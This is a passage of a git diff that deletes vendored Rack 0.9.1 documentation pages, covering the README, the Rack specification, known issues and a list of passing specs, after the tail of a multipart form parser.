-287:               if !head && i = buf.index("\r\n\r\n")
-288:                 head = buf.slice!(0, i+2) # First \r\n
-289:                 buf.slice!(0, 2)          # Second \r\n
-290: 
-291:                 filename = head[/Content-Disposition:.* filename="?([^\";]*)"?/ni, 1]
-292:                 content_type = head[/Content-Type: (.*)\r\n/ni, 1]
-293:                 name = head[/Content-Disposition:.* name="?([^\";]*)"?/ni, 1]
-294: 
-295:                 if filename
-296:                   body = Tempfile.new("RackMultipart")
-297:                   body.binmode  if body.respond_to?(:binmode)
-298:                 end
-299: 
-300:                 next
-301:               end
-302: 
-303:               # Save the read body part.
-304:               if head && (boundary_size+4 < buf.size)
-305:                 body << buf.slice!(0, buf.size - (boundary_size+4))
-306:               end
-307: 
-308:               c = input.read(bufsize < content_length ? bufsize : content_length)
-309:               raise EOFError, "bad content body"  if c.nil? || c.empty?
-310:               buf << c
-311:               content_length -= c.size
-312:             end
-313: 
-314:             # Save the rest.
-315:             if i = buf.index(rx)
-316:               body << buf.slice!(0, i)
-317:               buf.slice!(0, boundary_size+2)
-318: 
-319:               content_length = -1  if $1 == "--"
-320:             end
-321: 
-322:             if filename
-323:               body.rewind
-324:               data = {:filename => filename, :type => content_type,
-325:                       :name => name, :tempfile => body, :head => head}
-326:             else
-327:               data = body
-328:             end
-329: 
-330:             if name
-331:               if name =~ /\[\]\z/
-332:                 params[name] ||= []
-333:                 params[name] << data
-334:               else
-335:                 params[name] = data
-336:               end
-337:             end
-338: 
-339:             break  if buf.empty? || content_length == -1
-340:           }
-341: 
-342:           params
-343:         end
-344:       end
-
-
-
-
- - -
- - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/created.rid b/vendor/plugins/rack/doc/created.rid deleted file mode 100644 index aeaa972c..00000000 --- a/vendor/plugins/rack/doc/created.rid +++ /dev/null @@ -1 +0,0 @@ -Fri, 09 Jan 2009 17:40:34 +0100 diff --git a/vendor/plugins/rack/doc/files/KNOWN-ISSUES.html b/vendor/plugins/rack/doc/files/KNOWN-ISSUES.html deleted file mode 100644 index 8a7e63c1..00000000 --- a/vendor/plugins/rack/doc/files/KNOWN-ISSUES.html +++ /dev/null @@ -1,127 +0,0 @@ - - - - - - File: KNOWN-ISSUES - - - - - - - - - - -
-

KNOWN-ISSUES

- - - - - - - - - -
Path:KNOWN-ISSUES -
Last Update:Sat Mar 03 11:16:44 +0100 2007
-
- - -
- - - -
- -
-

Known issues with Rack and Web servers

-
    -
  • Lighttpd sets wrong SCRIPT_NAME and PATH_INFO if you mount your FastCGI app -at "/". This can be fixed by using this middleware: - -
    -  class LighttpdScriptNameFix
-    def initialize(app)
-      @app = app
-    end
-
-    def call(env)
-      env["PATH_INFO"] = env["SCRIPT_NAME"].to_s + env["PATH_INFO"].to_s
-      env["SCRIPT_NAME"] = ""
-      @app.call(env)
-    end
-  end
-
    -

    -Of course, use this only when your app runs at "/". -

    -
    • -
- -
- - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/RDOX.html b/vendor/plugins/rack/doc/files/RDOX.html deleted file mode 100644 index 333d96fb..00000000 --- a/vendor/plugins/rack/doc/files/RDOX.html +++ /dev/null @@ -1,961 +0,0 @@ - - - - - - File: RDOX - - - - - - - - - - -
-

RDOX

- - - - - - - - - -
Path:RDOX -
Last Update:Fri Jan 09 17:40:33 +0100 2009
-
- - -
- - - -
- -
-

Rack::Auth::Basic

-
    -
  • should challenge correctly when no credentials are specified - -
    • -
  • should rechallenge if incorrect credentials are specified - -
    • -
  • should return application output if correct credentials are specified - -
    • -
  • should return 400 Bad Request if different auth scheme used - -
    • -
-

Rack::Auth::Digest::MD5

-
    -
  • should challenge when no credentials are specified - -
    • -
  • should return application output if correct credentials given - -
    • -
  • should return application output if correct credentials given (hashed -passwords) - -
    • -
  • should rechallenge if incorrect username given - -
    • -
  • should rechallenge if incorrect password given - -
    • -
  • should rechallenge with stale parameter if nonce is stale - -
    • -
  • should return 400 Bad Request if incorrect qop given - -
    • -
  • should return 400 Bad Request if incorrect uri given - -
    • -
  • should return 400 Bad Request if different auth scheme used - -
    • -
-

Rack::Auth::OpenID

-
    -
  • realm uri should be absolute and have a path - -
    • -
  • uri options should be absolute - -
    • -
  • return_to should be absolute and be under the realm - -
    • -
  • extensions should be a module - -
    • -
  • extensions should have required constants defined - -
    • -
  • extensions should have Request and Response defined and inherit from -OpenID::Extension - -
    • -
  • extensions should have NS_URI defined and be a string of an absolute http -uri - -
    • -
-

Rack::Builder

-
    -
  • chains apps by default - -
    • -
  • has implicit to_app - -
    • -
  • supports blocks on use - -
    • -
  • has explicit to_app - -
    • -
  • apps are initialized once - -
    • -
-

Rack::Adapter::Camping

-
    -
  • works with GET - -
    • -
  • works with POST - -
    • -
-

Rack::Cascade

-
    -
  • should dispatch onward on 404 by default - -
    • -
  • should dispatch onward on whatever is passed - -
    • -
  • should fail if empty - -
    • -
  • should append new app - -
    • -
-

Rack::Handler::CGI

-
    -
  • startup (empty) - -
    • -
  • should respond - -
    • -
  • should be a lighttpd - -
    • -
  • should have rack headers - -
    • -
  • should have CGI headers on GET - -
    • -
  • should have CGI headers on POST - -
    • -
  • should support HTTP auth - -
    • -
  • should set status - -
    • -
  • shutdown - -
    • -
-

Rack::CommonLogger

-
    -
  • should log to rack.errors by default - -
    • -
  • should log to anything with << - -
    • -
-

Rack::ConditionalGet

-
    -
  • should set a 304 status and truncate body when If-Modified-Since hits - -
    • -
  • should set a 304 status and truncate body when If-None-Match hits - -
    • -
  • should not affect non-GET/HEAD requests - -
    • -
-

Rack::ContentLength

-
    -
  • sets Content-Length on String bodies if none is set - -
    • -
  • sets Content-Length on Array bodies if none is set - -
    • -
  • does not set Content-Length on variable length bodies - -
    • -
  • does not change Content-Length if it is already set - -
    • -
  • does not set Content-Length on 304 responses - -
    • -
  • does not set Content-Length when Transfer-Encoding is chunked - -
    • -
-

Rack::Deflater

-
    -
  • should be able to deflate bodies that respond to each - -
    • -
  • should be able to deflate String bodies - -
    • -
  • should be able to gzip bodies that respond to each - -
    • -
  • should be able to fallback to no deflation - -
    • -
  • should be able to skip when there is no response entity body - -
    • -
  • should handle the lack of an acceptable encoding - -
    • -
  • should handle gzip response with Last-Modified header - -
    • -
  • should do nothing when no-transform Cache-Control directive present - -
    • -
-

Rack::Directory

-
    -
  • serves directory indices - -
    • -
  • passes to app if file found - -
    • -
  • serves uri with URL encoded filenames - -
    • -
  • does not allow directory traversal - -
    • -
  • 404s if it can‘t find the file - -
    • -
-

Rack::Handler::FastCGI

-
    -
  • startup (empty) - -
    • -
  • should respond - -
    • -
  • should be a lighttpd - -
    • -
  • should have rack headers - -
    • -
  • should have CGI headers on GET - -
    • -
  • should have CGI headers on POST - -
    • -
  • should support HTTP auth - -
    • -
  • should set status - -
    • -
  • shutdown - -
    • -
-

Rack::File

-
    -
  • serves files - -
    • -
  • sets Last-Modified header - -
    • -
  • serves files with URL encoded filenames - -
    • -
  • does not allow directory traversal - -
    • -
  • does not allow directory traversal with encoded periods - -
    • -
  • 404s if it can‘t find the file - -
    • -
  • detects SystemCallErrors - -
    • -
-

Rack::Handler

-
    -
  • has registered default handlers - -
    • -
  • should get unregistered handler by name - -
    • -
  • should register custom handler - -
    • -
-

Rack::Head

-
    -
  • response (empty) - -
    • -
  • passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests - -
    • -
  • removes body from HEAD requests - -
    • -
-

Rack::Lint

-
    -
  • passes valid request - -
    • -
  • notices fatal errors - -
    • -
  • notices environment errors - -
    • -
  • notices input errors - -
    • -
  • notices error errors - -
    • -
  • notices status errors - -
    • -
  • notices header errors - -
    • -
  • notices content-type errors - -
    • -
  • notices content-length errors - -
    • -
  • notices body errors - -
    • -
  • notices input handling errors - -
    • -
  • notices error handling errors - -
    • -
  • notices HEAD errors - -
    • -
-

Rack::Lint::InputWrapper

-
    -
  • delegates :size to underlying IO object - -
    • -
  • delegates :rewind to underlying IO object - -
    • -
-

Rack::Lobster::LambdaLobster

-
    -
  • should be a single lambda - -
    • -
  • should look like a lobster - -
    • -
  • should be flippable - -
    • -
-

Rack::Lobster

-
    -
  • should look like a lobster - -
    • -
  • should be flippable - -
    • -
  • should provide crashing for testing purposes - -
    • -
-

Rack::MethodOverride

-
    -
  • should not affect GET requests - -
    • -
  • _method parameter should modify REQUEST_METHOD for POST requests - -
    • -
  • X-HTTP-Method-Override header should modify REQUEST_METHOD for POST -requests - -
    • -
  • should not modify REQUEST_METHOD if the method is unknown - -
    • -
  • should not modify REQUEST_METHOD when _method is nil - -
    • -
  • should store the original REQUEST_METHOD prior to overriding - -
    • -
-

Rack::MockRequest

-
    -
  • should return a MockResponse - -
    • -
  • should be able to only return the environment - -
    • -
  • should provide sensible defaults - -
    • -
  • should allow GET/POST/PUT/DELETE - -
    • -
  • should allow posting - -
    • -
  • should use all parts of an URL - -
    • -
  • should behave valid according to the Rack spec - -
    • -
-

Rack::MockResponse

-
    -
  • should provide access to the HTTP status - -
    • -
  • should provide access to the HTTP headers - -
    • -
  • should provide access to the HTTP body - -
    • -
  • should provide access to the Rack errors - -
    • -
  • should optionally make Rack errors fatal - -
    • -
-

Rack::Handler::Mongrel

-
    -
  • should respond - -
    • -
  • should be a Mongrel - -
    • -
  • should have rack headers - -
    • -
  • should have CGI headers on GET - -
    • -
  • should have CGI headers on POST - -
    • -
  • should support HTTP auth - -
    • -
  • should set status - -
    • -
  • should provide a .run - -
    • -
  • should provide a .run that maps a hash - -
    • -
  • should provide a .run that maps a urlmap - -
    • -
  • should provide a .run that maps a urlmap restricting by host - -
    • -
  • should stream each part of the response - -
    • -
-

Rack::Recursive

-
    -
  • should allow for subrequests - -
    • -
  • should raise error on requests not below the app - -
    • -
  • should support forwarding - -
    • -
-

Rack::Request

-
    -
  • wraps the rack variables - -
    • -
  • can figure out the correct host - -
    • -
  • can parse the query string - -
    • -
  • can parse POST data - -
    • -
  • can parse POST data with explicit content type - -
    • -
  • does not parse POST data when media type is not form-data - -
    • -
  • rewinds input after parsing POST data - -
    • -
  • does not rewind unwindable CGI input - -
    • -
  • can get value by key from params with #[] - -
    • -
  • can set value to key on params with #[]= - -
    • -
  • values_at answers values by keys in order given - -
    • -
  • referrer should be extracted correct - -
    • -
  • can cache, but invalidates the cache - -
    • -
  • can figure out if called via XHR - -
    • -
  • can parse cookies - -
    • -
  • parses cookies according to RFC 2109 - -
    • -
  • provides setters - -
    • -
  • provides the original env - -
    • -
  • can restore the URL - -
    • -
  • can restore the full path - -
    • -
  • can handle multiple media type parameters - -
    • -
  • can parse multipart form data - -
    • -
  • can parse big multipart form data - -
    • -
  • can detect invalid multipart form data - -
    • -
  • should work around buggy 1.8.* Tempfile equality - -
    • -
  • does conform to the Rack spec - -
    • -
  • should parse Accept-Encoding correctly - -
    • -
  • should provide ip information - -
    • -
-

Rack::Response

-
    -
  • has sensible default values - -
    • -
  • can be written to - -
    • -
  • can set and read headers - -
    • -
  • can set cookies - -
    • -
  • formats the Cookie expiration date accordingly to RFC 2109 - -
    • -
  • can set secure cookies - -
    • -
  • can delete cookies - -
    • -
  • has a useful constructor - -
    • -
  • has a constructor that can take a block - -
    • -
  • doesn‘t return invalid responses - -
    • -
  • knows if it‘s empty - -
    • -
  • should provide access to the HTTP status - -
    • -
  • should provide access to the HTTP headers - -
    • -
-

Rack::Session::Cookie

-
    -
  • creates a new cookie - -
    • -
  • loads from a cookie - -
    • -
  • survives broken cookies - -
    • -
  • barks on too big cookies - -
    • -
  • creates a new cookie with integrity hash - -
    • -
  • loads from a cookie wih integrity hash - -
    • -
  • ignores tampered with session cookies - -
    • -
-

Rack::Session::Memcache

-
    -
  • startup (empty) - -
    • -
  • faults on no connection - -
    • -
  • creates a new cookie - -
    • -
  • determines session from a cookie - -
    • -
  • survives broken cookies - -
    • -
  • maintains freshness - -
    • -
  • multithread: should cleanly merge sessions - -
    • -
  • shutdown - -
    • -
-

Rack::Session::Pool

-
    -
  • creates a new cookie - -
    • -
  • determines session from a cookie - -
    • -
  • survives broken cookies - -
    • -
  • maintains freshness - -
    • -
  • multithread: should merge sessions - -
    • -
-

Rack::ShowExceptions

-
    -
  • catches exceptions - -
    • -
-

Rack::ShowStatus

-
    -
  • should provide a default status message - -
    • -
  • should let the app provide additional information - -
    • -
  • should not replace existing messages - -
    • -
  • should pass on original headers - -
    • -
  • should replace existing messages if there is detail - -
    • -
-

Rack::Static

-
    -
  • serves files - -
    • -
  • 404s if url root is known but it can‘t find the file - -
    • -
  • calls down the chain if url root is not known - -
    • -
-

Rack::Handler::Thin

-
    -
  • should respond - -
    • -
  • should be a Thin - -
    • -
  • should have rack headers - -
    • -
  • should have CGI headers on GET - -
    • -
  • should have CGI headers on POST - -
    • -
  • should support HTTP auth - -
    • -
  • should set status - -
    • -
-

Rack::URLMap

-
    -
  • dispatches paths correctly - -
    • -
  • dispatches hosts correctly - -
    • -
  • should be nestable - -
    • -
  • should route root apps correctly - -
    • -
-

Rack::Utils

-
    -
  • should escape correctly - -
    • -
  • should unescape correctly - -
    • -
  • should parse query strings correctly - -
    • -
  • should build query strings correctly - -
    • -
  • should figure out which encodings are acceptable - -
    • -
-

Rack::Utils::HeaderHash

-
    -
  • should retain header case - -
    • -
  • should check existence of keys case insensitively - -
    • -
  • should merge case-insensitively - -
    • -
  • should overwrite case insensitively and assume the new key‘s case - -
    • -
  • should be converted to real Hash - -
    • -
-

Rack::Utils::Context

-
    -
  • should perform checks on both arguments - -
    • -
  • should set context correctly - -
    • -
  • should alter app on recontexting - -
    • -
  • should run different apps - -
    • -
-

Rack::Handler::WEBrick

-
    -
  • should respond - -
    • -
  • should be a WEBrick - -
    • -
  • should have rack headers - -
    • -
  • should have CGI headers on GET - -
    • -
  • should have CGI headers on POST - -
    • -
  • should support HTTP auth - -
    • -
  • should set status - -
    • -
  • should correctly set cookies - -
    • -
  • should provide a .run - -
    • -
-

-244 specifications, 4 empty (1004 requirements), 0 failures -

- -
- - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/README.html b/vendor/plugins/rack/doc/files/README.html deleted file mode 100644 index d08b4c69..00000000 --- a/vendor/plugins/rack/doc/files/README.html +++ /dev/null @@ -1,720 +0,0 @@ - - - - - - File: README - - - - - - - - - - -
-

README

- - - - - - - - - -
Path:README -
Last Update:Fri Jan 09 17:31:18 +0100 2009
-
- - -
- - - -
- -
-

Rack, a modular Ruby webserver interface

-

-Rack provides a minimal, modular and -adaptable interface for developing web applications in Ruby. By wrapping -HTTP requests and responses in the simplest way possible, it unifies and -distills the API for web servers, web frameworks, and software in between -(the so-called middleware) into a single method call. -

-

-The exact details of this are described in the Rack specification, which all Rack applications should conform to. -

-

Supported web servers

-

-The included handlers connect all kinds of web servers to Rack: -

-
    -
  • Mongrel - -
    • -
  • EventedMongrel - -
    • -
  • SwiftipliedMongrel - -
    • -
  • WEBrick - -
    • -
  • FCGI - -
    • -
  • CGI - -
    • -
  • SCGI - -
    • -
  • LiteSpeed - -
    • -
  • Thin - -
    • -
-

-These web servers include Rack handlers -in their distributions: -

-
    -
  • Ebb - -
    • -
  • Fuzed - -
    • -
  • Phusion Passenger (which is mod_rack for Apache) - -
    • -
-

-Any valid Rack app will run the same on -all these handlers, without changing anything. -

-

Supported web frameworks

-

-The included adapters connect Rack with existing Ruby web frameworks: -

-
    -
  • Camping - -
    • -
-

-These frameworks include Rack adapters -in their distributions: -

-
    -
  • Coset - -
    • -
  • Halcyon - -
    • -
  • Mack - -
    • -
  • Maveric - -
    • -
  • Merb - -
    • -
  • Racktools::SimpleApplication - -
    • -
  • Ramaze - -
    • -
  • Ruby on Rails - -
    • -
  • Sinatra - -
    • -
  • Sin - -
    • -
  • Vintage - -
    • -
  • Waves - -
    • -
-

-Current links to these projects can be found at ramaze.net/#other-frameworks -

-

Available middleware

-

-Between the server and the framework, Rack can be customized to your applications -needs using middleware, for example: -

-
    -
  • Rack::URLMap, to route to -multiple applications inside the same process. - -
    • -
  • Rack::CommonLogger, for -creating Apache-style logfiles. - -
    • -
  • Rack::ShowException, for catching unhandled exceptions and presenting them -in a nice and helpful way with clickable backtrace. - -
    • -
  • Rack::File, for serving static -files. - -
    • -
  • …many others! - -
    • -
-

-All these components use the same interface, which is described in detail -in the Rack specification. These -optional components can be used in any way you wish. -

-

Convenience

-

-If you want to develop outside of existing frameworks, implement your own -ones, or develop middleware, Rack -provides many helpers to create Rack -applications quickly and without doing the same web stuff all over: -

- -

rack-contrib

-

-The plethora of useful middleware created the need for a project that -collects fresh Rack middleware. -rack-contrib includes a variety of add-on components for Rack and it is easy to contribute new -modules. -

- -

rackup

-

-rackup is a useful tool for running Rack -applications, which uses the Rack::Builder DSL to configure -middleware and build up applications easily. -

-

-rackup automatically figures out the environment it is run in, and runs -your application as FastCGI, CGI, or standalone with Mongrel or -WEBrick—all from the same configuration. -

-

Quick start

-

-Try the lobster! -

-

-Either with the embedded WEBrick starter: -

-
-    ruby -Ilib lib/rack/lobster.rb
-
-

-Or with rackup: -

-
-    bin/rackup -Ilib example/lobster.ru
-
-

-By default, the lobster is found at localhost:9292. -

-

Installing with RubyGems

-

-A Gem of Rack is available. You can -install it with: -

-
-    gem install rack
-
-

-I also provide a local mirror of the gems (and development snapshots) at my -site: -

-
-    gem install rack --source http://chneukirchen.org/releases/gems/
-
-

Running the tests

-

-Testing Rack requires the test/spec -testing framework: -

-
-    gem install test-spec
-
-

-There are two rake-based test tasks: -

-
-    rake test       tests all the fast tests (no Handlers or Adapters)
-    rake fulltest   runs all the tests
-
-

-The fast testsuite has no dependencies outside of the core Ruby -installation and test-spec. -

-

-To run the test suite completely, you need: -

-
-  * camping
-  * mongrel
-  * fcgi
-  * ruby-openid
-  * memcache-client
-
-

-The full set of tests test FCGI access with lighttpd (on port 9203) so you -will need lighttpd installed as well as the FCGI libraries and the fcgi -gem: -

-

-Download and install lighttpd: -

-
-    http://www.lighttpd.net/download
-
-

-Installing the FCGI libraries: -

-
-    curl -O http://www.fastcgi.com/dist/fcgi-2.4.0.tar.gz
-    tar xzvf fcgi-2.4.0.tar.gz
-    cd fcgi-2.4.0
-    ./configure --prefix=/usr/local
-    make
-    sudo make install
-    cd ..
-
-

-Installing the Ruby fcgi gem: -

-
-    gem install fcgi
-
-

-Furthermore, to test Memcache sessions, you need memcached (will be run on -port 11211) and memcache-client installed. -

-

History

-
    -
  • March 3rd, 2007: First public release 0.1. - -
    • -
  • May 16th, 2007: Second public release 0.2. - -
      -
    • HTTP Basic authentication. - -
      • -
    • Cookie Sessions. - -
      • -
    • Static file handler. - -
      • -
    • Improved Rack::Request. - -
      • -
    • Improved Rack::Response. - -
      • -
    • Added Rack::ShowStatus, for -better default error messages. - -
      • -
    • Bug fixes in the Camping adapter. - -
      • -
    • Removed Rails adapter, was too alpha. - -
      • -
    -
    • -
  • February 26th, 2008: Third public release 0.3. - -
      -
    • LiteSpeed handler, by Adrian Madrid. - -
      • -
    • SCGI handler, by Jeremy Evans. - -
      • -
    • Pool sessions, by blink. - -
      • -
    • OpenID authentication, by blink. - -
      • -
    • :Port and :File options for opening FastCGI sockets, by blink. - -
      • -
    • Last-Modified HTTP header for Rack::File, by blink. - -
      • -
    • Rack::Builder#use now accepts blocks, by Corey Jewett. (See -example/protectedlobster.ru) - -
      • -
    • HTTP status 201 can contain a Content-Type and a body now. - -
      • -
    • Many bugfixes, especially related to Cookie handling. - -
      • -
    -
    • -
  • August 21st, 2008: Fourth public release 0.4. - -
      -
    • New middleware, Rack::Deflater, -by Christoffer Sawicki. - -
      • -
    • OpenID authentication now needs ruby-openid 2. - -
      • -
    • New Memcache sessions, by blink. - -
      • -
    • Explicit EventedMongrel handler, by Joshua Peek <josh@joshpeek.com> - -
      • -
    • Rack::Reloader is not loaded in -rackup development mode. - -
      • -
    • rackup can daemonize with -D. - -
      • -
    • Many bugfixes, especially for pool sessions, URLMap, thread safety and -tempfile handling. - -
      • -
    • Improved tests. - -
      • -
    • Rack moved to Git. - -
      • -
    -
    • -
  • January 6th, 2009: Fifth public release 0.9. - -
      -
    • Rack is now managed by the Rack Core Team. - -
      • -
    • Rack::Lint is stricter and follows -the HTTP RFCs more closely. - -
      • -
    • Added ConditionalGet middleware. - -
      • -
    • Added ContentLength middleware. - -
      • -
    • Added Deflater middleware. - -
      • -
    • Added Head middleware. - -
      • -
    • Added MethodOverride middleware. - -
      • -
    • Rack::Mime now provides popular -MIME-types and their extension. - -
      • -
    • Mongrel Header now streams. - -
      • -
    • Added Thin handler. - -
      • -
    • Official support for swiftiplied Mongrel. - -
      • -
    • Secure cookies. - -
      • -
    • Made HeaderHash case-preserving. - -
      • -
    • Many bugfixes and small improvements. - -
      • -
    -
    • -
  • January 9th, 2009: Sixth public release 0.9.1. - - -
    • -
-

Contact

-

-Please mail bugs, suggestions and patches to <rack-devel@googlegroups.com>. -

-

-Mailing list archives are available at <groups.google.com/group/rack-devel>. -

-

-There is a bug tracker at <rack.lighthouseapp.com/>. -

-

-Git repository (patches rebased on master are most welcome): -

- -

-You are also welcome to join the rack channel on irc.freenode.net. -

-

Thanks

-

-The Rack Core Team, consisting of -

-
    -
  • Christian Neukirchen (chneukirchen) - -
    • -
  • James Tucker (raggi) - -
    • -
  • Josh Peek (josh) - -
    • -
  • Michael Fellinger (manveru) - -
    • -
  • Ryan Tomayko (rtomayko) - -
    • -
  • Scytrin dai Kinthra (scytrin) - -
    • -
-

-would like to thank: -

-
    -
  • Adrian Madrid, for the LiteSpeed handler. - -
    • -
  • Christoffer Sawicki, for the first Rails adapter and Rack::Deflater. - -
    • -
  • Tim Fletcher, for the HTTP authentication code. - -
    • -
  • Luc Heinrich for the Cookie sessions, the static file handler and bugfixes. - -
    • -
  • Armin Ronacher, for the logo and racktools. - -
    • -
  • Aredridel, Ben Alpert, Dan Kubb, Daniel Roethlisberger, Matt Todd, Tom -Robinson, and Phil Hagelberg for bug fixing and other improvements. - -
    • -
  • Stephen Bannasch, for bug reports and documentation. - -
    • -
  • Gary Wright, for proposing a better Rack::Response interface. - -
    • -
  • Jonathan Buch, for improvements regarding Rack::Response. - -
    • -
  • Armin Röhrl, for tracking down bugs in the Cookie generator. - -
    • -
  • Alexander Kellett for testing the Gem and reviewing the announcement. - -
    • -
  • Marcus Rückert, for help with configuring and debugging lighttpd. - -
    • -
  • The WSGI team for the well-done and documented work they‘ve done and -Rack builds up on. - -
    • -
  • All bug reporters and patch contributers not mentioned above. - -
    • -
-

Copyright

-

-Copyright (C) 2007, 2008, 2009 Christian Neukirchen <purl.org/net/chneukirchen> -

-

-Permission is hereby granted, free of charge, to any person obtaining a -copy of this software and associated documentation files (the -"Software"), to deal in the Software without restriction, -including without limitation the rights to use, copy, modify, merge, -publish, distribute, sublicense, and/or sell copies of the Software, and to -permit persons to whom the Software is furnished to do so, subject to the -following conditions: -

-

-The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. -

-

-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN -NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -DEALINGS IN THE SOFTWARE. -

-

Links

- - - - - - -
Rack:<rack.rubyforge.org/> - -
Rack‘s Rubyforge project:<rubyforge.org/projects/rack> - -
Official Rack repositories:<github.com/rack> - -
rack-devel mailing list:<groups.google.com/group/rack-devel> - -
Christian Neukirchen:<chneukirchen.org/> - -
- -
- - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/SPEC.html b/vendor/plugins/rack/doc/files/SPEC.html deleted file mode 100644 index 01bd1c08..00000000 --- a/vendor/plugins/rack/doc/files/SPEC.html +++ /dev/null @@ -1,318 +0,0 @@ - - - - - - File: SPEC - - - - - - - - - - -
-

SPEC

- - - - - - - - - -
Path:SPEC -
Last Update:Fri Jan 09 17:40:06 +0100 2009
-
- - -
- - - -
- -
-

-This specification aims to formalize the Rack protocol. You can (and should) use Rack::Lint to enforce it. When you -develop middleware, be sure to add a Lint before and after to catch all -mistakes. -

-

Rack applications

-

-A Rack application is an Ruby object -(not a class) that responds to call. It takes exactly one -argument, the environment and returns an Array of exactly three -values: The status, the headers, and the body. -

-

The Environment

-

-The environment must be an true instance of Hash (no subclassing allowed) -that includes CGI-like headers. The application is free to modify the -environment. The environment is required to include these variables -(adopted from PEP333), except when they‘d be empty, but see below. -

- - - - - - - -
REQUEST_METHOD:The HTTP request method, such as "GET" or "POST". This -cannot ever be an empty string, and so is always required. - -
SCRIPT_NAME:The initial portion of the request URL‘s "path" that -corresponds to the application object, so that the application knows its -virtual "location". This may be an empty string, if the -application corresponds to the "root" of the server. - -
PATH_INFO:The remainder of the request URL‘s "path", designating the -virtual "location" of the request‘s target within the -application. This may be an empty string, if the request URL targets the -application root and does not have a trailing slash. - -
QUERY_STRING:The portion of the request URL that follows the ?, if any. May be -empty, but is always required! - -
SERVER_NAME, SERVER_PORT:When combined with SCRIPT_NAME and PATH_INFO, these -variables can be used to complete the URL. Note, however, that -HTTP_HOST, if present, should be used in preference to -SERVER_NAME for reconstructing the request URL. -SERVER_NAME and SERVER_PORT can never be empty strings, -and so are always required. - -
HTTP_ Variables:Variables corresponding to the client-supplied HTTP request headers (i.e., -variables whose names begin with HTTP_). The presence or absence -of these variables should correspond with the presence or absence of the -appropriate HTTP header in the request. - -
-

-In addition to this, the Rack -environment must include these Rack-specific variables: -

- - - - - - - - -
rack.version:The Array [0,1], representing this version of Rack. - -
rack.url_scheme:http or https, depending on the request URL. - -
rack.input:See below, the input stream. - -
rack.errors:See below, the error stream. - -
rack.multithread:true if the application object may be simultaneously invoked by another -thread in the same process, false otherwise. - -
rack.multiprocess:true if an equivalent application object may be simultaneously invoked by -another process, false otherwise. - -
rack.run_once:true if the server expects (but does not guarantee!) that the application -will only be invoked this one time during the life of its containing -process. Normally, this will only be true for a server based on CGI (or -something similar). - -
-

-The server or the application can store their own data in the environment, -too. The keys must contain at least one dot, and should be prefixed -uniquely. The prefix rack. is reserved for use with the Rack core distribution and must not be used -otherwise. The environment must not contain the keys -HTTP_CONTENT_TYPE or HTTP_CONTENT_LENGTH (use the -versions without HTTP_). The CGI keys (named without a period) -must have String values. There are the following restrictions: -

-
    -
  • rack.version must be an array of Integers. - -
    • -
  • rack.url_scheme must either be http or https. - -
    • -
  • There must be a valid input stream in rack.input. - -
    • -
  • There must be a valid error stream in rack.errors. - -
    • -
  • The REQUEST_METHOD must be a valid token. - -
    • -
  • The SCRIPT_NAME, if non-empty, must start with / - -
    • -
  • The PATH_INFO, if non-empty, must start with / - -
    • -
  • The CONTENT_LENGTH, if given, must consist of digits only. - -
    • -
  • One of SCRIPT_NAME or PATH_INFO must be set. -PATH_INFO should be / if SCRIPT_NAME is empty. -SCRIPT_NAME never should be /, but instead be empty. - -
    • -
-

The Input Stream

-

-The input stream must respond to gets, each and -read. -

-
    -
  • gets must be called without arguments and return a string, or -nil on EOF. - -
    • -
  • read must be called without or with one integer argument and -return a string, or nil on EOF. - -
    • -
  • each must be called without arguments and only yield Strings. - -
    • -
  • close must never be called on the input stream. - -
    • -
-

The Error Stream

-

-The error stream must respond to puts, write and -flush. -

-
    -
  • puts must be called with a single argument that responds to -to_s. - -
    • -
  • write must be called with a single argument that is a String. - -
    • -
  • flush must be called without arguments and must be called in order -to make the error appear for sure. - -
    • -
  • close must never be called on the error stream. - -
    • -
-

The Response

-

The Status

-

-The status, if parsed as integer (to_i), must be greater than or -equal to 100. -

-

The Headers

-

-The header must respond to each, and yield values of key and value. The -header keys must be Strings. The header must not contain a Status -key, contain keys with : or newlines in their name, contain keys -names that end in - or _, but only contain keys that -consist of letters, digits, _ or - and start with a -letter. The values of the header must respond to each. The values passed on -each must be Strings and not contain characters below 037. -

-

The Content-Type

-

-There must be a Content-Type, except when the Status is -1xx, 204 or 304, in which case there must be none given. -

-

The Content-Length

-

-There must be a Content-Length, except when the Status is -1xx, 204 or 304, in which case there must be none given. -

-

The Body

-

-The Body must respond to each and must only yield String values. If the -Body responds to close, it will be called after iteration. The Body -commonly is an Array of Strings, the application instance itself, or a -File-like object. -

-

Thanks

-

-Some parts of this specification are adopted from PEP333: Python Web Server -Gateway Interface v1.0 (www.python.org/dev/peps/pep-0333/). -I‘d like to thank everyone involved in that effort. -

- -
- - -
- - -
- - - - -
- - - - - - - - - - - -
- - - - - - \ No newline at end of file diff --git a/vendor/plugins/rack/doc/files/lib/rack/adapter/camping_rb.html b/vendor/plugins/rack/doc/files/lib/rack/adapter/camping_rb.html deleted file mode 100644 index 8cd4e7dc..00000000 --- a/vendor/plugins/rack/doc/files/lib/rack/adapter/camping_rb.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - File: camping.rb - - - - - - - - - - -
-

camping.rb

- - - - - - - - - -
Path:lib/rack/adapter/camping.rb -
Last Update:Fri Dec 05 15:00:31 +0100 2008
-
- - -
- - - -
- - - -
- - -
- - - - -
- - - - - - - - - - - -
